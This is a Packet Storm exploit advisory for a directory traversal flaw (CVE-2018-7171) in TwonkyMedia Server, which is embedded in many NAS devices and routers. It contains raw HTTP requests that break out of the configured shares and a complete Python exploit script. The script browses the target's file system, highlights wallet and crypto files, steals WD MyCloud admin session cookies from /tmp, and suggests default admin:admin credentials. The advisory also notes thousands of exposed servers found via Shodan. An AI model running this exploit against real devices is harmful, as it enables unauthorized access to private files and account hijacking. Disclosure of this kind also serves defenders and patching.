TwonkyMedia Server 7.0.11-8.5 Directory Traversal

2018-03-29T00:00:00
ID PACKETSTORM:146938
Type packetstorm
Reporter Sven Fassbender
Modified 2018-03-29T00:00:00

Description

                                        
                                            `---------------------------------------------------------------------  
  
1. About  
  
---------------------------------------------------------------------  
# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal  
# Date: 2018-03-27  
# Exploit Author: Sven Fassbender  
# Contact: https://twitter.com/mezdanak  
# Vendor Homepage: http://www.lynxtechnology.com/home  
# Software Link: https://twonky.com/downloads/index.html  
# Version: 7.0.11-8.5  
# CVE : CVE-2018-7171  
# Category: webapps  
  
---------------------------------------------------------------------  
  
2. Background information  
  
---------------------------------------------------------------------  
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos,   
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.  
  
Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content   
between connected devices. Twonky Server is used worldwide and is available as a standalone server   
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.  
  
Twonky Serveras web UI provides optimal capability for you to easily and reliably control and play back your   
media files in a variety of ways, and to abeama those media files to other connected devices." --extract from https://twonky.com  
  
Previous similar vulnerabilities:  
https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html  
Fix:  
https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x  
  
Statistics:  
Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)  
Rarely protected by password (only around 2%).  
  
Top Countries:  
1. United States  
2. Germany  
3. Korea  
4. Russian Federation  
5. France  
6. Italy  
7. Taiwan  
8. Poland  
9. Hungary  
10. United Kingdom  
  
TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:  
Thecus N2310  
Thecus N4560  
WDMyCloud,   
MyCloudEX2Ultra,   
WDMyCloudEX4,   
WDMyCloudEX2100,   
QNAP,   
Zyxel NAS326,  
Zyxel NAS542,  
Zyxel NSA310,   
Zyxel NSA310S,  
Zyxel NSA320,  
Zyxel NSA325-v2  
...  
  
Other devices:  
Belkin routers  
Zyxel EMG2926-Q10A  
...  
  
---------------------------------------------------------------------  
  
3. Vulnerability description  
  
---------------------------------------------------------------------  
TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.  
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:  
HTTP request:  
POST /rpc/set_all HTTP/1.1  
Host: 192.168.188.9:9000  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.188.9:9000/  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 228  
Connection: close  
  
contentdir=/../  
  
  
Now one can discover the file system with requests like the following:  
HTTP request:  
GET /rpc/dir?path=/ HTTP/1.1  
Host: 192.168.188.9:9000  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.188.9:9000/webconfig  
X-Requested-With: XMLHttpRequest  
Connection: close  
  
  
HTTP response:  
HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8  
Content-Language: en  
Content-Length: 128  
Date: Sat, 03 Feb 2018 09:31:28 GMT  
Accept-Ranges: bytes  
Connection: close  
Expires: 0  
Pragma: no-cache  
Cache-Control: no-cache  
EXT:  
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1  
  
001D/  
002D/bin  
003D/boot  
004D/CacheVolume  
005D/DataVolume  
006D/dev  
007D/etc  
008D/home  
009D/lib  
010D/media  
011D/mnt  
012D/nfs  
013D/opt  
014D/proc  
015D/root  
016D/run  
017D/sbin  
018D/shares  
019D/srv  
020D/sys  
021D/system  
022D/tmp  
023D/usr  
024D/var  
  
---------------------------------------------------------------------  
  
4. Proof of Concept  
  
---------------------------------------------------------------------  
https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py  
  
---------------------------------------------------------------------  
  
5. Attack Scenarios  
  
---------------------------------------------------------------------  
- TwonkyMedia Server path traversal vs. WD MyCloud  
  
Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:  
  
$ python twonky.py 192.168.188.9 9000  
https://www.shodan.io/host/192.168.188.9  
*** Port 9000 opened ***  
Run Twonky browser on port 9000 [Y, N]? [Y]  
*** Get Serverdetails from Twonky ***  
Server Name: WDMyCloud  
Serverplatform: armel_gcc473_glibc215_64k  
Pictures shared: 0  
Videos shared: 0  
Twonky Version: 7.2.9-6  
Build date: 03/25/2015 (mm/dd/yyyy)  
*** 'contentbase' path set to '/'' ***  
path nr:  
------------------------------  
[...]  
022 Dir /tmp  
[...]  
------------------------------  
path nr: 022  
------------------------------  
[...]  
059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1  
[...]  
Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}  
------------------------------  
path nr:  
  
This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)  
With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...  
  
  
- TwonkyMedia Server path traversal vs. privacy  
  
People may store sensitive information on their NAS devices.  
Such as:  
- Business information  
- Health records  
- Passwords  
- Credit Cards  
- Passports  
- Currcillum Vitaes  
- Invoices Business/Private  
- "Private" photos  
- Illegal material  
- ...  
  
  
- DMCA protected information  
  
There maybe also DMCA protected information public available.   
Such as:  
- Movies  
- Music  
  
---------------------------------------------------------------------  
  
6. Fix  
  
---------------------------------------------------------------------  
All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable.   
While writing this advisory 8.5 is the latest version available:  
https://twonky.com/downloads/index.html  
  
---------------------------------------------------------------------  
'''  
  
import urllib3  
import sys  
import socket  
import requests  
from colorama import init, Fore  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
init(autoreset=True)  
  
# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.  
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]  
def keywordDetector(line):  
for keyword in KEYWORDS:  
if line.upper().find(keyword) != -1:  
return True  
return False  
def checkPort(host, port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
s.connect((host,int(port)))  
s.settimeout(2)  
s.shutdown(2)  
return True  
except:  
return False  
  
def setContentBase(host, port):  
payload = "\ncontentbase=/../\n"  
url = "http://{0}:{1}/rpc/set_all".format(host, port)  
try:  
response = requests.post(url, data=payload, timeout=5)  
except requests.exceptions.ReadTimeout:  
print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")  
except requests.exceptions.ChunkedEncodingError:  
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")  
sys.exit()  
except requests.exceptions.ConnectionError:  
url = "https://{0}:{1}/rpc/set_all".format(host, port)  
response = requests.post(url, data=payload, timeout=5, verify=False)  
if response.status_code != 200:  
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")  
print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")  
sys.exit()  
else:  
print (Fore.MAGENTA + "*** 'contentbase' path set to '/'' ***")  
return True  
  
def serverInfo(host, port):  
print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")  
try:  
url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)  
friendlyname = requests.get(url, timeout=5)  
except requests.exceptions.ConnectionError:  
url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)  
friendlyname = requests.get(url, timeout=5, verify=False)  
if friendlyname.status_code == 200:  
print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))  
else:  
print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")  
sys.exit()  
try:  
url = "http://{0}:{1}/rpc/info_status".format(host, port)  
infoStatus = requests.get(url, timeout=5)  
except requests.exceptions.ConnectionError:  
url = "https://{0}:{1}/rpc/info_status".format(host, port)  
infoStatus = requests.get(url, timeout=5, verify=False)  
for line in infoStatus.iter_lines():  
if line :  
if line.find("version") != -1:  
lineSplited = line.split("|")  
versionNumber = lineSplited[1]  
print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))  
elif line.find("serverplatform") != -1:  
lineSplited = line.split("|")  
serverPlatform = lineSplited[1]  
print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))  
elif line.find("builddate") != -1:  
lineSplited = line.split("|")  
buildDate = lineSplited[1]  
print (Fore.GREEN + "Build date: {0}".format(buildDate))  
elif line.find("pictures") != -1:  
lineSplited = line.split("|")  
pictureCount = lineSplited[1]  
print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))  
elif line.find("videos") != -1:  
lineSplited = line.split("|")  
videoCount = lineSplited[1]  
print (Fore.GREEN + "Videos shared: {0}".format(videoCount))  
return versionNumber  
  
def checkSessionCookie(host, cookieString):  
url = "http://{0}/api/2.1/rest/device_user".format(host)  
cookieTemp = cookieString.split("_")  
cookie = {'PHPSESSID': cookieTemp[1]}  
response = requests.get(url, timeout=10, cookies=cookie)  
if response.status_code == 200:  
return cookie  
else:  
return False  
  
def browser(host, port, version):  
while True:  
var = raw_input("path nr: ")  
if var != "exit" :  
if version[0] == "8":  
url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)  
else:  
url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)  
try:  
response = requests.get(url, timeout=5)  
except requests.exceptions.ConnectionError:  
if version[0] == "8":  
url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)  
else:  
url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)  
response = requests.get(url, timeout=5, verify=False)  
print "-" * 30  
validCookieString = ""  
for line in response.iter_lines():  
if line :  
if len(line) > 3:  
if line[3] == "D":  
line = line[:4].replace("D", " Dir ") + line[4:]  
if keywordDetector(line[4:]):  
print (Fore.RED + line)  
else:  
print (Fore.GREEN + line)  
elif line[3] == "F":  
line = line[:4].replace("F", " Fil ") + line[4:]  
if keywordDetector(line[4:]):  
print (Fore.RED + line)  
elif line[8:13] == "sess_":  
print line  
validCookie = checkSessionCookie(host, line[8:])  
if validCookie != False:  
validCookieString = validCookie  
else:  
print line  
else:  
print line  
if len(validCookieString) >= 1:  
print (Fore.RED + "Valid WDMyCloud cookie discovered: {0}".format(validCookieString))  
print "-" * 30  
elif var == "exit":  
sys.exit()  
  
#*** Program start here ***  
if __name__ == '__main__':  
if len(sys.argv) != 3:  
print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"  
else:  
host = sys.argv[1]  
print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))  
port = sys.argv[2]  
if checkPort(host, port):  
print (Fore.GREEN + "*** Port {0} opened ***".format(port))  
twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))  
if twonky.upper() != "N":  
version = serverInfo(host, port)  
if setContentBase(host, port):  
browser(host, port, version)  
  
`